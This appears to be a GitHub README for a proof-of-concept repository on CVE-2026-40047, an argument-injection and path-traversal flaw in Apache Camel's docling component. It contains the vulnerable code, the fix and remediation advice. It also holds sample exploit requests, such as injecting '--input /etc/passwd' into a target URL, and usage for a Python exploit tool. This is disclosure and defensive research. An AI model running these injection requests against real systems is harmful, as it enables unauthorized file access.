amnsecurity/CVE-2026-40047-Apache-Camel-Docling-Injection

GitHub: amnsecurity/CVE-2026-40047-Apache-Camel-Docling-Injection

该项目提供了 Apache Camel Docling 组件中严重 CLI 参数注入漏洞(CVE-2026-40047)的概念验证代码与详细技术分析。

Stars: 1 | Forks: 0

# ─── CVE-2026-40047 ─── CVSS 9.1
# 🏴 AMN SECURITY 🏴 ### 网络安全研究中心 | Cyber Security Research Center [![网站](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/) [![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw) [![邮箱](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)

# ⚠️ Apache Camel Docling 命令参数注入漏洞 ### CVE-2026-40047 | CVSS 9.1 | 严重 (CRITICAL) ### 📋 执行摘要 **Apache Camel** 框架的 **camel-docling** 组件中存在严重的**参数注入**安全漏洞,允许攻击者向外部工具 `docling` 注入不需要的 CLI 参数和路径遍历值。 该漏洞存在于 `DoclingProducer` 类中,其中 `addCustomArguments` 方法将自定义参数列表 `CamelDoclingCustomArguments` 附加到 `docling` 命令时没有进行充分的验证。之前的验证仅依赖于**黑名单**以及对 `../` 的字面检查,从而允许绕过未知的参数和绝对路径。 | 元素 | 详情 | |--------|----------| | **CVE** | CVE-2026-40047 | | **CVSS v3.1** | 9.1 (严重) | | **向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | **类型** | 参数注入 (CWE-88) / 路径遍历 (CWE-22) | | **产品** | Apache Camel (camel-docling) | | **受影响版本** | 4.15.0 至 4.18.2 | | **修复版本** | 4.18.3 / 4.19.0 | | **发现者** | Andrea Cosentino (Apache 软件基金会) | | **影响** | 注入不需要的 CLI 参数并绕过路径 | ### 🔍 漏洞详情 Apache Camel 是一个强大的集成框架,在企业中被广泛用于连接不同的系统。`camel-docling` 组件通过 `ProcessBuilder` 调用外部工具 `docling`(文档转换工具)。 #### 漏洞机制 ``` // DoclingProducer.addCustomArguments() - الإصدار المتأثر List customArgs = exchange.getIn().getHeader( DoclingHeaders.CUSTOM_ARGUMENTS, List.class); if (customArgs != null && !customArgs.isEmpty()) { validateCustomArguments(customArgs); // Denylist ضعيف + فحص ../ حرفي command.addAll(customArgs); // ← الإضافة مباشرة بدون تدقيق كافٍ } ``` #### validateCustomArguments 中的问题 在受影响的版本中,`validateCustomArguments` 依赖于: 1. 被禁标志的**黑名单** 2. 对路径值中 `../` 的**字面检查** 这允许: - ✅ **未知标志**:任何不在黑名单中的标志都会直接通过 - ✅ **没有 '../' 的路径遍历**:绝对路径(`/etc/passwd`)在未被阻止的情况下通过 - ✅ **常规路径序列**:使用 `Path.normalize()` 绕过检查 #### 修复 (CAMEL-23212) 该修复将黑名单替换为严格的**白名单**: - 仅允许已识别的标志 - 拒绝由生产者管理的标志(`--output`, `-o`) - 拒绝特殊的 shell 符号(纵深防御) - 在验证之前通过 `Path.normalize()` 规范化路径 ### 💥 攻击场景 ``` [مهاجم] ── يتحكم في CamelDoclingCustomArguments │ ▼ مسار Camel مع docling: │ from("direct:convert") .to("docling:convert?..."); │ ▼ DoclingProducer يبني الأمر: │ command = [docling, --to, md, --ocr-lang, en, --output, /tmp, /tmp/input.txt] │ command.addAll(customArgs ← يتحكم بها المهاجم) │ ▼ docling --injected-by-attacker arbitrary-value --to md ... ``` #### 攻击示例 ``` # 自定义参数注入 curl "http://target:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled" # 使用绝对路径绕过路径 curl "http://target:8080/exploit/attack?flag=--input&value=/etc/passwd" ``` ### 🧪 使用复现环境 ``` # 1. 构建项目 mvn clean package -DskipTests # 2. 运行 Docker 环境 docker compose up -d --build # 3. 正常调用(无注入) curl http://localhost:8080/exploit/normal # 4. CLI 参数注入 curl "http://localhost:8080/exploit/attack" # 5. 自定义注入 curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/pwned" # 6. 查看调用日志 cat /tmp/docling-invocations.log ``` ### 🐍 使用 Python PoC 工具 ``` # 扫描目标 python3 CVE-2026-40047.py -t http://localhost:8080 --check # 完整利用 python3 CVE-2026-40047.py -t http://localhost:8080 --exploit # 自定义参数注入 python3 CVE-2026-40047.py -t http://localhost:8080 --inject \ --flag "--artifacts-path" --value "/etc/pwned" ``` #### 可用选项 | 选项 | 描述 | |--------|-------| | `-t, --target` | 目标 URL(例如 http://localhost:8080) | | `--check` | 仅检查漏洞 | | `--exploit` | 完全利用(默认注入) | | `--inject` | 注入自定义参数 | | `--flag` | 要注入的 CLI 标志 | | `--value` | 标志的值 | | `-v, --verbose` | 显示详细输出 | ### 🛡️ 补救措施 | 措施 | 优先级 | 描述 | |---------|----------|-------| | **更新 Apache Camel** | 🟢 立即 | 升级到 4.18.3 或 4.19.0 | | **不传递不受信任的数据** | 🟡 重要 | 不要将外部内容传递给 `CamelDoclingCustomArguments` | | **移除内部 Header** | 🟡 重要 | 在 docling producer 之前使用 `removeHeaders("Camel*")` | | **审核应用程序** | 🔵 持续 | 审查任何使用 camel-docling 的应用程序 | #### 移除内部 Header ``` from("untrusted:source") .removeHeaders("Camel*") // إزالة الرؤوس الداخلية .to("docling:convert?..."); ``` ### 🔗 参考资料 - **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-40047 - **Apache 公告**: https://camel.apache.org/security/CVE-2026-40047.html - **JIRA**: CAMEL-23212 - **CWE-88**: https://cwe.mitre.org/data/definitions/88.html - **CWE-22**: https://cwe.mitre.org/data/definitions/22.html ### 🔗 联系 AMN SECURITY [![网站](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/) [![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw) [![邮箱](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)

# ⚠️ CVE-2026-40047 — Apache Camel Docling CLI 参数注入 ### CVSS 9.1 | 严重 | 参数注入 / 路径遍历 ### 执行摘要 **CVE-2026-40047** 是 Apache Camel 的 `camel-docling` 组件中一个严重的 **CLI 参数注入和路径遍历**漏洞。`DoclingProducer` 根据消息 Header 构建对外部 `docling` 命令行工具的调用,并且通过 `CamelDoclingCustomArguments` Header 提供的自定义参数在没有充分验证的情况下被追加(仅使用了黑名单和对 `../` 的字面检查),因此,影响这些 Header 的攻击者可以向子进程注入任意的 `docling` CLI 标志和包含遍历的路径值。 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-40047 | | **CVSS v3.1** | 9.1 (严重) | | **向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | | **类型** | 参数注入 (CWE-88) / 路径遍历 (CWE-22) | | **产品** | Apache Camel (camel-docling) | | **受影响版本** | 4.15.0 至 4.18.2 | | **修复版本** | 4.18.3 / 4.19.0 | ### 技术细节 该漏洞存在于 `DoclingProducer.addCustomArguments()` 方法中,该方法将 `CamelDoclingCustomArguments` Header 的值附加到 `docling` CLI 命令时,没有进行充分的验证。 ``` // Vulnerable code List customArgs = exchange.getIn().getHeader( DoclingHeaders.CUSTOM_ARGUMENTS, List.class); if (customArgs != null && !customArgs.isEmpty()) { validateCustomArguments(customArgs); // Weak denylist command.addAll(customArgs); // Directly appended! } ``` 修复 (CAMEL-23212) 将黑名单替换为严格的白名单。 ### 利用方式 ``` # 使用复现环境 mvn clean package -DskipTests docker compose up -d --build # 注入 CLI 参数 curl "http://localhost:8080/exploit/attack" curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/pwned" ``` ### 补救措施 | 操作 | 优先级 | 描述 | |--------|----------|-------------| | **更新 Camel** | 🔴 立即 | 升级到 4.18.3 或 4.19.0 | | **过滤输入** | 🟡 重要 | 不要将不受信任的数据传递给 CamelDoclingCustomArguments | | **清除 Header** | 🟡 重要 | 在 docling producer 之前使用 `removeHeaders("Camel*")` | ### 参考资料 - **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-40047 - **Apache 公告**: https://camel.apache.org/security/CVE-2026-40047.html - **CWE-88**: 参数注入 - **CWE-22**: 路径遍历 ### 联系 AMN SECURITY 🌐 **网站**: https://amn.amnoffsec.workers.dev/ 📸 **Instagram**: https://www.instagram.com/ixctw 📧 **邮箱**: ayman.mahmoudoffsec@gmail.com
标签:Apache Camel, JS文件枚举, PoC, 参数注入, 暴力破解, 请求拦截, 逆向工具